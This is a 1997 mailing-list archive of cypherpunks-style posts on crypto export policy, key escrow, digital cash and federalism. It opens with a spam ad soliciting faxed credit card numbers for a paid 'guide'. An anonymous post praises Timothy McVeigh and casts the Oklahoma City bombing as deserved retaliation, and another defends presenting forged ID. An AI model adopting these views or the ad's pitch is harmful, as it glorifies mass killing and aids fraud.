You can qualify for a credit card even if you have:   
      
   NO CREDIT HISTORY, PREVIOUS OR CURRENT CREDIT 
   PROBLEMS, A LOW INCOME, JUDGEMENTS AND LIENS, HAD A 
   DIVORCE OR EVEN IF YOU HAVE FILED FOR BANKRUPTCY.

For a small fraction of what you pay in high interest fees, you can order the 
guide and start saving immediately. Our guide is priced at $19.95. All that 
you will have to do is complete the application form below, and mail it with 
payment as indicated on the form.  We will mail the guide to you within 10 days.

WE GUARANTEE THAT UNLESS WE HELP YOU TO GET A LOW INTEREST 
CREDIT CARD, OUR APPLICATION FEE OF $19.95 WILL BE REFUNDED!

Mail the APPLICATION TODAY! 

                                         Ordering Information

The Guide Only Costs $19.95 + $4.00 for shipping and handling. Total $23.95
Want faster shipping? Add $10.00 more for RUSH processing.
Please make your check or money order payable to: 

CREDIT BUSINESS SYSTEMS

Here's How To Order: 1)  Personal checks 2)  Money Order 3)  Credit Card

                                                 Order Form
=======================================================

 PLEASE PRINT AND FILL OUT THE APPLICATION FORM BELOW: 

(circle one)  Money Order     Check      Credit Card ( VISA, M/C, Discover )           
                                                                               
NAME         __________________________________  

ADDRESS  __________________________________     

CITY ___________ STATE _______  ZIP __________

EMAIL ADDRESS_____________________  ANNUAL INCOME___________

CREDIT CARD(S) BALANCE _____________ OCCUPATION _____________

CREDIT CARD #_________________________ EXPIRE DATE___________

* CREDIT CARD ORDERS; TO EXPEDITE PROCESSING, FILL OUT ALL 
   INFORMATION, PRINT AND FAX TO;   (619) 683-9130

Guide Fee                    $19.95 
Shipping & Handling        4.00  
RUSH processing
Total                            $_____
 
Signature________________   Date____________

FIRST 50 ORDERS GET TO CHOOSE A FREE GIFT  (CIRCLE ONE)

1) WATCH           2) CREDIT CARD WALLET     3)    GOLD PLATED PEN
  
PLEASE MAKE CHECKS PAYABLE TO: CREDIT BUSINESS SYSTEMS

AND MAIL TO:    CREDIT BUSINESS SYSTEM
                            6161 El Cajon Blvd. #B-427
                            San Diego, CA 92115

///////////////////////////////////////////////////////////////////////














From bennett_t1 at popmail.firn.edu  Thu Jun  5 11:53:17 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Fri, 6 Jun 1997 02:53:17 +0800
Subject: McVeigh? Nimrods.....
In-Reply-To: 
Message-ID: <339714A7.66A7@popmail.firn.edu>



Dr.Dimitri Vulis KOTM wrote:
> 
> Kent Crispin  writes:
> ...
> > Clinton has a *very* successful career as a politician, and has done
> > a great deal for Intel, in that role.  And he is a great family man
> > who also gets along well with a host of people.
Family Man?  Yeah, wife, kid, and several sluts he had affairs with. 
He's a great family man, alright.






From root at iguana.be  Thu Jun  5 11:53:20 1997
From: root at iguana.be (Kris Carlier)
Date: Fri, 6 Jun 1997 02:53:20 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: 
Message-ID: 



Hi Tim,

> >as it is in northern Ireland, Palestine/Israel, and the USA.  Neither side
> >is likely to get tired and go home.  The only long-term solution is to
> >learn to live together.
>   ^^^^^^^^^^^^^^^^^^^^

> When I hear people talk about "why can't we just get along together?" and
> its variants, I reach for my .45.

Why is it that so many people on the other side of the ocean still think
they are in the Far West ?

> "Learning to live together" is absurd when the other side has stolen
>  your land.
   ^^^^

'your' land ? Oh, you mean what Columbus did ?
Otoh, you're right. The best way to solve problems is to kill the
problem-maker(s at both sides). But be sure to kill everyone, including
babies and such. And don't forget to kill everyone you suspect might one
day think (s)he is a far-far-descendant of the killed ones... Let's blow
up the earth, while we're on it ?
not! The major reason people can't live together is furnished by
politicians who feel they should make it to history books ;-(

kr=

                   \\\___///
                  \\  - -  //
                   (  @ @  )
 +---------------oOOo-(_)-oOOo-------------+
 |     kris carlier - carlier at iguana.be    |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion    |
 |            SMS: +32-75-61.43.05         |
 +------------------------Oooo-------------+
                  oooO   (   )
                 (   )    ) /
                  \ (    (_/
                   \_)








From nelson at media.mit.edu  Thu Jun  5 11:55:47 1997
From: nelson at media.mit.edu (Nelson Minar)
Date: Fri, 6 Jun 1997 02:55:47 +0800
Subject: Password pirates plunder XXX sites, from The Netly News
In-Reply-To: <199706051708.NAA09369@life.ai.mit.edu>
Message-ID: <199706051836.OAA01401@pinotnoir.media.mit.edu>



[about people stealing passwords to porn sites]
>>Although you can never completely eliminate it, technological fixes
>>to do velocity checking, source IP address profiling, etc., seem so
>>obvious I just don't see how this can be any sort of insurmountable
>>problem...

Maybe so, maybe not.

>I think the problem is that a large number of the people who run porn
>sites are neither technically sophisticated nor well funded.

That profile's not exactly accurate. Some of the folks running porn
sites are very sophisticated. More to the point, I don't know of *any*
site that does the sort of protection proposed above. I don't think
it's an easy thing to do. An enterprising person could probably turn
quite a few bucks selling that sort of system.

But do the porn sites want it? The stolen passwords might partly serve
as free advertisement. The situation might be similar to (some kinds
of) pirated software. The stolen version acts as a teaser but
(hopefully) the consumer will eventually pay himself in order to have
more convenient access.






From trei at process.com  Thu Jun  5 12:02:38 1997
From: trei at process.com (Peter Trei)
Date: Fri, 6 Jun 1997 03:02:38 +0800
Subject: Arguments for good crypto and against GAK.
Message-ID: <199706051819.NAA06360@einstein.ssz.com>



I frequently find myself explaining to the
uninitiated the whole crypto mess, and have come up
with a line of arguments which I find work fairly
effectively.

Basically, I take the tack that strong encryption will
help prevent crime, espionage, and terrorism, while 
weak and/or GAKed crypto will promote it. There are 
good arguements for this position.

We lock our houses, cars, etc. This activity is
promoted by the police as a crime prevention measure,
although it unquestionably makes it more difficult for
them to serve search warrants, etc. They realize that 
good locks prevent far more crime than would their
unfettered access to unlocked property.

Crypto works the same way as good locks, but in the 
data sphere. While it would clearly make 
court-authorized wiretaps more difficult (but not 
impossible), it also stops the far more frequent
unauthorized interception of messages by criminals
(whether in or out of government).

At this point I usually give some recent examples 
of losses that might have been prevented by good
crypto - cell phone cloning fraud and eavesdropping,
the recent credit card sniffer, etc. Going back a 
couple of years, some hackers on the west coast
modified major backbone routers to record ftp and
telnet passwords, etc. If the audience is aware of
the putative info-war threat, I can work that in 
as another threat that good crypto can put a stop to.

If the question arises 'well, why does the FBI, etc,
seem so worried about the widespread use of crypto?',
I have a response.

"There's an old saying: 'When you're up to your ass in
alligators, it's hard to remember that you're trying
to drain the swamp.'"

We have law enforcement agencies because we want 
people and their property to be safer. However, the
FBI and other LEAs actually do very little to 
directly *prevent* crime; almost all of their efforts
are post-facto, designed to catch criminals, or make
it easier to catch them, *after* they've already
committed one or more offences. While a criminal in 
jail is only rarely a menace to society at large, 
most criminals get away with many crimes before 
they are caught - if this was not the case, there 
would be no such thing as a 'career criminal'.
LEAs have little motivation to prevent crime - there
is not much career or budget boost in a robbery which
did not take place, a murder which was not committed,
or a spy who could not get the data he sought. 

Widespread and effective use of good crypto acts 
before the fact, preventing crimes from occuring 
in the first place. While it certainly would make
some wiretaps more difficult (and here I bring up 
the very low number of wiretaps preformed in the 
US compared to the number of crimes), on the balance
it is clear that the use of good security is a win.

If you ask most people if they had a choice between
a high crime rate with some of the criminals being
caught, and a much lower crime rate with a slightly
higher chance of them getting away, most people who
are not part of the LEA establishment will instantly
opt for the latter.

As for GAK, there are two basic arguements I use. First, 
I ask them how they would feel if their town required
that copies of all house, car, and file cabinet keys
be deposited with the local cops 'just in case they
need to serve a search warrant'. Most people are 
rightly appalled by the idea. 

Secondly, I describe the idea of key escrow agencies
and "TTPs", and how they would create huge storehouses
of private keys. I point out what a target of 
opportunity these archives would provide to criminals and
spies - by compromising the security of a single site, 
they could unlock the private, confidential information
of thousands of individuals and corporations. Depending
on the audience, I might bring up Filegate, Aldrich
Ames, the Walker case, etc, to demonstrate that even
the government can't be relied on to keep secrets
("despite their best intentions"), and re-emphasize the
catastrophic single-point-of-failure that GAK
represents.

In short, it's possible to pro-crypto, anti-GAK 
without ever getting near sounding  anti-government; 
in fact, being pro-crypto, anti-GAK can be a 
conservative, anti-crime, law & order position.

Peter Trei
trei at process.com


 

 

 






From azur at netcom.com  Thu Jun  5 12:16:06 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 6 Jun 1997 03:16:06 +0800
Subject: McVeigh is not the issue!
In-Reply-To: 
Message-ID: 



>I believe this is a bad policy, and think it should be opposed.  Perhaps a
>law
>should be considered to change this.  But obviously many people here would
>tell me I could just take another mode of transportation, such as riding the
>bus.  Airlines are private corporations owned by their owners, not by their
>riders.  The airlines apparently have a right (as Delta is doing) of
>demanding
>any prerequisite they wish for travel.  In the case of Delta, the
>prerequisite
>is "May I see your papers, please?"
[snip]
>I'm curious where the people here stand on such a policy.  Do you feel that
>positive ID to fly on a plane should be permissable?  How about a law to
>put a
>stop to it?

It is illegal to present forged government identification for matters
involving goverment business or commercial business regulated by federal
laws requiring such ID (e.g., purchase of cigarettes), but should it be
illegal to present forged government IDs in other circumstances when no
government regulation requires their presentation (the points regarding
contractual agreement not withstanding)?  I agree that airlines should be
able to condition travel based on requisite identification, but I believe I
should be able to present forged identifiction with no possibility of
criminal presecution.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From hallam at ai.mit.edu  Thu Jun  5 12:16:11 1997
From: hallam at ai.mit.edu (Hallam-Baker)
Date: Fri, 6 Jun 1997 03:16:11 +0800
Subject: Password pirates plunder XXX sites, from The Netly News
In-Reply-To: <199706051836.OAA01401@pinotnoir.media.mit.edu>
Message-ID: <199706051855.OAA20888@muesli.ai.mit.edu>



> >I think the problem is that a large number of the people who run porn
> >sites are neither technically sophisticated nor well funded.
> 
> That profile's not exactly accurate. Some of the folks running porn
> sites are very sophisticated. 

Yes but I don't think those are the ones complaining. I noted that one
of the porn sites has a implemented a very sophisticated version of
the "referer" payment scheme I once proposed.

> More to the point, I don't know of *any*
> site that does the sort of protection proposed above. I don't think
> it's an easy thing to do. An enterprising person could probably turn
> quite a few bucks selling that sort of system.

I'm sure a lot of folks are coding away as we speak. It would be a snap
to do it for a threaded server like IIS. On Netscape the interpocess
communications load would almost certainly burn you.

> But do the porn sites want it? The stolen passwords might partly serve
> as free advertisement. The situation might be similar to (some kinds
> of) pirated software. The stolen version acts as a teaser but
> (hopefully) the consumer will eventually pay himself in order to have
> more convenient access.

This could well be the nub of the matter. It could well be the case that
a lot of the passwords are sent out by the companies themselves. I note
that there is a usenet group alt.sex.passwords...


	Phill







From declan at well.com  Thu Jun  5 12:32:23 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 6 Jun 1997 03:32:23 +0800
Subject: Mr. Gates goes to Washington, from The Netly News
Message-ID: 





---------- Forwarded message ----------
Date: Thu, 5 Jun 1997 12:13:40 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: Mr. Gates goes to Washington, from The Netly News


**********

http://cgi.pathfinder.com/netly/opinion/0,1042,1022,00.html

The Netly News Network
June 5, 1997

Mr. Gates Goes to Washington
by Declan McCullagh (declan at well.com)

        For Siliconaires like Bill Gates of Microsoft, Eric Schmidt of
   Novell and Jeff Papows of Lotus, Washington is a city made pleasant by
   absence. They view its labyrinthine bureaucracies and hidebound
   institutions as something between a minor hindrance and an
   insurmountable obstacle to the important business of making
   profits, not public policy. So it was no surprise to see the high-tech
   trio join seven other executives yesterday at the National Press Club
   to rail against the Clinton administration's restrictions on overseas
   sales of encryption products.
   
        This Billionaire Boys' Club was especially keen on praising two
   bills that would generally relax export rules. "We clearly support the
   House and the Senate bills that are on the Hill in their original
   form. Getting reform done now is a huge priority for all of us," said
   one. "There are bills in the House and the Senate that are totally
   acceptable, and if those bills are passed they'd solve the problem,"
   another added.
   
        But perhaps Bill Gates should have spent less time writing BASIC
   interpreters and more time in civics classes, because these bills are
   far from perfect. In fact, they may be downright dangerous.

[...]








From nobody at REPLAY.COM  Thu Jun  5 12:59:57 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 6 Jun 1997 03:59:57 +0800
Subject: The New War
Message-ID: <199706051937.VAA04725@basement.replay.com>



   http://guru.cosc.georgetown.edu/~denning/crypto/oc-abs.html

Denning thinks export of authentication and signature technology is OK,
but she draws the line at encryption.  This sounds fine, but what happens
when new technologies don't fit into these neat boxes?

How about blind signatures?  Those are used to create anonymous electronic
cash systems.  How comfortable will Denning be when criminals can set up
their own anonymous payment systems?

Would blind signature technology be allowed for export today?

How about zero knowledge protocols?  These can be used to show different
kinds of anonymous credentials and can be used to build anonymous cash
systems in their own right.  Generally, they enhance privacy by allowing
the parties to reveal only the information which is specifically necessary
for a transaction.

Would zero knowledge software be allowed for export today?

How about multiparty computations, or oblivious transfer, or blob
commitments, or any of the other building blocks of tomorrow's crypto
technology?  What is the export status of these going to be?  Will Congress
have experts who put each piece under a microscope and try to judge
whether it will be used for good purposes or bad?  It can't be done.  As
well allow exporting the letter "a" but not "i" since "i" is part of "kill".

This attempt to split cryptology into good and bad technologies won't work.
Knowledge space doesn't work that way.  It's probably not even going to be
possible to identify what is crypto and what isn't.  It's all a matter of dealing
with information in various ways.

Cypherpunks can expose this confusion by implementing other protocols and
trying to get them exported.  Go beyond old-fashioned signatures and
encryption.  These are mainstream today.  Stay on the edge, be ahead of the
curve.  Do something new.

John







From rah at shipwright.com  Thu Jun  5 13:06:07 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 6 Jun 1997 04:06:07 +0800
Subject: e$: The greater fool theory of Digicash, quantified, roughly
Message-ID: 




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga 
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 5 Jun 1997 09:31:10 -0400
From: Robert Hettinga 
To: Multiple recipients of 
Subject:  e$: The greater fool theory of Digicash, quantified, roughly

At 10:18 pm -0400 on 6/4/97, Tim May wrote on cypherpunks:

> Chaum said he had to agree that these were good examples, and that he'd
> think about the issue furhter. He speculated during his panel presentation
> that possibly a mechanism could be found to allow such vendor or seller
> anonymity for _educational_ and similar materials, but not for other
> things...Froomkin and I were incredulous.

Sheesh. Silly "exemptions" to seller anonymity like this one indicate to me
that Chaum & Co. will *never* license the blind signature patent to anyone
with an actual useful purpose for it.

We're all going to have to sit around for another 10 years until that
patent's unencumbered for there to be any valid market for anonymous
digital cash -- or the other kinds of instantly-settled digital bearer
certificates that the patent enables. I suppose that's justice, as it means
that Chaum & Co. aren't going to make any money on the blind signature
patent, either.

If they don't wake up, that 10 years will be over soon enough. In about 5
years or so, just about the time this round of financing fantasy runs out,
potential developers will probably just decide to stick it out for the
remaining 5 years they don't have to pay a royalty. Digicash, Inc., will
become yet another a $10 million (at last estimate) technology rathole.
That $10 million, of course, doesn't include the current purchasers of the
technology, who are being left high and dry by Digicash's inability to
understand what market they are in.

First a bank, then a software company, now a credit card association
equivalent (onk?!), Digicash never has figured out that the only thing they
are is a financial cryptography company. The first, and best, of course,
but still financial cryptographers. Like Dolby, they should only license
and certify applications of the technology they invent. Period. Chaum could
have done that easily enough, say, $9.5 million and 10 years ago. He would
have gotten to keep all the family money he sunk into fun stuff like the
Digicash Building in the Netherlands and sales offices all over the planet,
because all he needed were a few cryptographers and licensing lawyers. He
would have probably gotten at least triple the $9.5 million of shareholder
equity that he wasted, all back in actual revenue over the intervening
years. Without spending a dime more in further capitalization. He would
have gotten a gross return on that $500k 1987 investment of say,
(30mil/500k ) = 6000%, just on earnings alone. If he went public in the
interim, a conservative estimate of market capitalization, assuming a
simple linear revenue growth curve (yielding a current revenue of $6
million a year) and a very conservative P/E ratio of 10, gives us
(6mil*10)= $60million. That's probably before the internet commerce
hockey-stick earnings kicked in, much less the rediculuous Netscape-era P/E
ratios internet companies now command. In engage in a little market-speak,
"what an incredible bungle of a unique value proposition". ;-).

Anyway, the Greater Fool Theory of Digicash has been proven once again,
with Chaum's own words as relayed by Mr. May.

Now maybe we know why J. Pierpont Morgan fired Edison from General Electric.

Hmmm... And why Negroponte fired *Chaum*?

Hey! Maybe there is hope?

Naaaaah....

Notice, of course, that Dr. Dolby (or his estate and heirs) probably still
owns his company, and is doing very well, thank you.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"


Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info at hyperion.co.uk

Like e$? Help pay for it! 
For e$/e$pam sponsorship, mail Bob: 

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo 
(Majordomo)^2: Rachel Willmer
Commermeister: Anthony Templer 
Interturge: Rodney Thayer 




--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From stewarts at ix.netcom.com  Thu Jun  5 13:59:38 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 6 Jun 1997 04:59:38 +0800
Subject: Webpage picketing (fwd)
In-Reply-To: <199706041452.JAA01618@einstein.ssz.com>
Message-ID: <3.0.1.32.19970605132805.0076a9c8@popd.ix.netcom.com>



At 10:39 PM 6/4/97 -0400, frissell at panix.com wrote:
>>'Publically funded network backbones'? Can you name one (in the US)? 

>The Net is technically and legally a private value-added network.  
>The last bit of the then existing backbone was privatized the weekend 
>following the OKC bombing in April 1995.  (No relation)

Unfortunately, this is not entirely true.  Within US-occupied North 
America (:-), a number of the NAPs are still government funded, 
though many of the big carriers also have direct interconnections rather 
than only peering through the NAPs.   One of the early NAPs, 
the Commercial Internet eXchange (CIX), was created specifically
to avoid the content censorship required for use of the government parts
(the old Acceptable Use Policy, which banned commercial discussion.)
In other countries, your kilometerage will vary substantially.

Also, the DNS top-levels are largely managed by governments or their
subcontractors - not just the root servers and NSI's .com/.org/etc,
but also .fr, .de, .ru, etc.  Some of this may change with the IAHC plan,
but some of it won't really.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Thu Jun  5 14:01:17 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 6 Jun 1997 05:01:17 +0800
Subject: Government money, Net picketing, and public fora (fwd)
In-Reply-To: <199706051315.IAA05428@einstein.ssz.com>
Message-ID: <3.0.1.32.19970605134859.007681f8@popd.ix.netcom.com>



At 08:15 AM 6/5/97 -0500, Jim Choate wrote:
> Accepting public money does increase the criminal and civil obligations
> of the recipient as well as providing a lever for 3rd parties to become 
> involved on civil grounds.
>
>I'm not sure how I can get this idea through.

You're not doing very well.  I can see a number of possible meanings:

1) You want to be able to "picket" other people's net traffic,
and think that the amount of government funding out there gives you some 
standing to force some parts of the net to carry your "picket signs".
And therefore you keep posting similar vigorous assertions, in response
to other people's contentions that this would be bad.

2) You do/don't/don't-care think it's a good idea, but you're
trying to make the point that it _is_ theoretically something the
government could require, and are trying to get people to accept
this concept while they're arguing either that it would be bad,
or that it's not something they could require.

2b) As above, but you're further contending that, to be consistent,
the government _must_ apply their standards for picketing, union 
elections, etc., to the Internet (again, regardless of whether you
think this is good, bad, or ugly.)

3) You think that it would be OK for a service provider to do this
(whether or not you think it's a good idea) and are contending that
it's ok, while you think other people are arguing that it's not ok.

4) You want to accomplish something _like_ picketing, and think that
intercepting the picketee's traffic is required, as opposed to other
picketing-like methods available, and are trying to get agreement?

Is one of these your point?  Or is it something else, and I just don't
get what you're point is?  To me, it looks like you're just asserting
the same stuff repeatedly, and it's not clear why....



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From nobody at huge.cajones.com  Thu Jun  5 14:18:22 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 6 Jun 1997 05:18:22 +0800
Subject: Kill the children!
Message-ID: <199706052104.OAA03298@fat.doobie.com>



 When the United States Government murdered the child of Saddam Hussein
the common American attitude was "broken eggs, and all that." I know
because I lamented the act and was roundly criticized as an idiot who
didn't understand how the real world works, etc., etc, justify, justify.
 When the chickens come home to roost, however, after yet another U.S.
Government act of aggression, there is a great hue and cry throughout
the land about only a "monster" could kill children. Suddenly, the lives
of children become so precious and sacrosanct that those responsible for
taking those lives must be given supreme punishment.

  God bless Timothy McVeigh for exposing the mindless hypocrisy of the
American people, as well as the _mindful_ hypocrisy of the Government
Rulers of Amerika.
  Billy Graham, as the populist representative of Christianity, visits
the White House but we are little likely to see him visiting McVeigh
because some children's lives seem to be more precious than others, and
those who take them are subject to different moral judgments.

 A famous newspaper correspondent received a telegram from his editor
questioning his expense report, which listed a huge bill for a breakfast
which included caviar.
 The reporter telegraphed back, "Eggs is eggs."

 The message of the American people and the U.S. Government is being
received loud and clear: "American eggs are more precious than foreign
eggs. The eggs of _normal_ (translate=="mainstream") Americans are more 
precious than _aberrant_ (translate--"cult") eggs."
 The message of the American news media is loud and clear: "Break some
lifeless buildings with your bombs and we will make you a side dish in
the back pages of some minor publication. Break enough eggs and we will
make an omlette big enough to feed the entire world."

 Waco was nothing more than a "wake-up call" that many Americans slept
through. Timothy MvVeigh did not--he woke up and crowed loud enough for
all of us to hear. The American government, people and press, however,
want merely to shut him up and go back to sleep, pretending that there
still isn't enough light to see their own sins and rectify them.
 There are no telling how many lives could be saved if the press wrote
meaningfully about the inevitability of chickens coming home to roost
instead of supporting the notion that the solution to a crowing cock is
to cut his head off.
 There are other roosters in the barnyard. There will be more sunrises.

 Americans are now loudly calling for McVeigh to receive an electrical
message complaining about the high cost of the breakfast bill on the 
expense report he provided us.
 I wouldn't be surprised if his final words were, "Eggs is eggs."

Anne Accountant






From mclow at owl.csusm.edu  Thu Jun  5 14:19:44 1997
From: mclow at owl.csusm.edu (Marshall Clow)
Date: Fri, 6 Jun 1997 05:19:44 +0800
Subject: TV Commercial
Message-ID: 



Today on TV, I saw an advertisement.

Image:	Two ships exchanging searchlight-type signals.

Voiceover:
	It's common sense, really.
	You should be able to communicate with anyone
	without worring about the security of your communications.

	Sprint PCS. Secure digital communications.

It's nice to see that a large multinational corporation is
publicly expousing cypherpunk attitudes.

(The reality of their phones is not as encouraging, but...)

-- Marshall

Marshall Clow     Aladdin Systems   

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997







From jim.burnes at ssds.com  Thu Jun  5 16:11:17 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Fri, 6 Jun 1997 07:11:17 +0800
Subject: IRS Hit
In-Reply-To: <199706051429.JAA02097@mailhub.amaranth.com>
Message-ID: 





On Thu, 5 Jun 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <1.5.4.32.19970605134956.008db240 at pop.pipeline.com>, on 06/05/97 
>    at 08:49 AM, John Young  said:
> 
> >In a harshly worded 17-page opinion, Judge William Downes of  the U.S.
> >District Court in Denver found that one of the IRS  agents, James Dolan,
> >was "grossly negligent" and acted with  "reckless disregard" for the law,
> >and that he made three false  statements in a sworn declaration.
> 
> So why is James Dolan still working for the IRS?
> 
> Why is he not under enditement for perjury?
> 
> Oh I forgot Federal Agents are "just a group of humans" so I guess we
> shouldn't expect the laws of the land to apply to them.
> 

The defendant is perfectly able to bring charges in this matter against
James Dolan personally.  There is precedent in this.  If my read of
the judge is accurate he is saying, "go after him because he was acting
outside his office".

I can't remember the exact name of this decision, but I think it was
something like "so-and-so vs. 5 unnamed FBI officers".

I'm not a lawyer and I'm not sure how one would proceed in this case,
but some official anti-IRS group should fund it.

Jim Burnes







From azur at netcom.com  Thu Jun  5 16:30:24 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 6 Jun 1997 07:30:24 +0800
Subject: Founding Fathers & Federalism
Message-ID: 



Joseph Sobran


Founding fathers thought the federal government should be kept on a short leash

The word "federalism" is enjoying a new vogue these days, as Republicans
promise to give power "back to the states." But the way the power is given
"back" has little to do with what the founding fathers meant by
"federalism."

In the current welfare reform bill, for example, the states are given power
to regulate welfare programs, but with strings attached. The power is
considered
to come from the federal government, which supposedly "grants" it to the
states.

This is a reversal of what our ancestors meant by federalism - namely, that
the states were the source of the federal government's powers. The states,
through the Constitution, "delegated" a few carefully specified powers to
the federal government. Whatever wasn't delegated was "reserved" to the
states and the
people.

The federal government was supposed to be kept on a short leash, lest it
claim powers never given to it. Today it routinely claims countless powers
unmentioned in the Constitution. When a national health-care program is
proposed, for example, we no longer ask the basic question: Just where does
the Constitution grant this power?

Answer: Nowhere. Then how did the federal government acquire so many
unlisted powers? By the insidious process of "consolidation," which the
Constitution was meant to prevent. So why didn't the Constitution prevent
it? Because the federal government systematically reinterpreted the
Constitution in its own favor.

In the 1798 Kentucky Resolutions, Thomas Jefferson warned that the federal
government must never be allowed to become the final arbiter of the extent
of its own powers. His warning was disregarded. Eventually the Supreme
Court was allowed to treat the Constitution as a "living document" - one
whose meaning was not fixed but fluid, alterable at the discretion of those
currently in power. Of course this defeats the whole purpose of a
Constitution, or indeed any written law.

What would a truly federal system look like? The possibilities are
infinite. If the states were permitted to keep their individuality, we
might have a checkerboard of socialist and free economies, instead of a
single "mixed" economy imposed on all. Americans who preferred a welfare
state, even if it meant higher taxes, might move to New York; Americans who
preferred laissez-faire might migrate to Texas.

In the long run, the states that imposed too many burdens on their citizens
would lose population, business and finally tax monies to freer states. A
federal system would create a sort of "market" in states, with citizens as
consumers choosing among them.

To the founders it was axiomatic, that government should be limited not
only in the number of powers it exercised, but in the extent of territory
it ruled. The small and local were preferable to the vast and national. If
one state or local government should exceed its proper powers, citizens
should be able to escape it without leaving the continent.

"Federalism" has come to sound complex, abstract and technical. But it's a
simple principle: Keep power as local as possible. Give a central
government very few powers, and hold it strictly to them.

The idea will become vivid to anyone who reads the Federalist Papers, the
writings of the Anti-Federalists, the works of Jefferson, and of course the
Constitution itself. The whole debate over ratifying the Constitution
revolved around the question whether the federal government, given a few
powers, would proceed to "usurp" more power - tyrannical power.

All sides in the ratification debate would have agreed that the federal
government should never be permitted to reach, or even approach, the size
and
scope it has achieved in the late 20th century. The chief difference
between the Federalists and the Anti-Federalists is that the Federalists
insisted that it could never happen under the Constitution. History has
proved the Anti-Federalists right.

It's a scandal that so few realize this. It's also an indictment of our
educational system, which blandly purveys the view that America's history
has been one of smooth continuity and "progress." The more the Constitution
is disregarded, the more we're assured that it's being "fulfilled."

The remedy isn't private militias. It's guerrilla education, to ensure that our
children learn what the schools won't teach them.

Joseph Sobran is a syndicated columnist.


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From azur at netcom.com  Thu Jun  5 16:39:14 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 6 Jun 1997 07:39:14 +0800
Subject: Kill the children!
In-Reply-To: <199706052104.OAA03298@fat.doobie.com>
Message-ID: 



> There are no telling how many lives could be saved if the press wrote
>meaningfully about the inevitability of chickens coming home to roost
>instead of supporting the notion that the solution to a crowing cock is
>to cut his head off.

The only newspaper article I've read about such matters was written about
three months ago by Joseph Sobran(sp?).  He's a regular libertarian pundent
in the Las Vegas Review Journal's Sunday edition, and certainly not
mainstream.  If 60-minutes, or an equivalent TV journal, would have the
nerve to carry such a segment it might open quite a few eyes which will
otherwise remain closed.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From frogfarm at yakko.cs.wmich.edu  Thu Jun  5 17:00:11 1997
From: frogfarm at yakko.cs.wmich.edu (Damaged Justice)
Date: Fri, 6 Jun 1997 08:00:11 +0800
Subject: 0,4,11276,00.html?dtn.head
Message-ID: <199706052359.TAA30048@yakko.cs.wmich.edu>




   [1]HP Network ScanJet 5. Click here.
   
   [2][LINK]
   [3][LINK]
   [4]Join now FREE!
   
   MENU
   [5]Front Door
   [6]The Net
   [7]Computing
   [8]Intranets
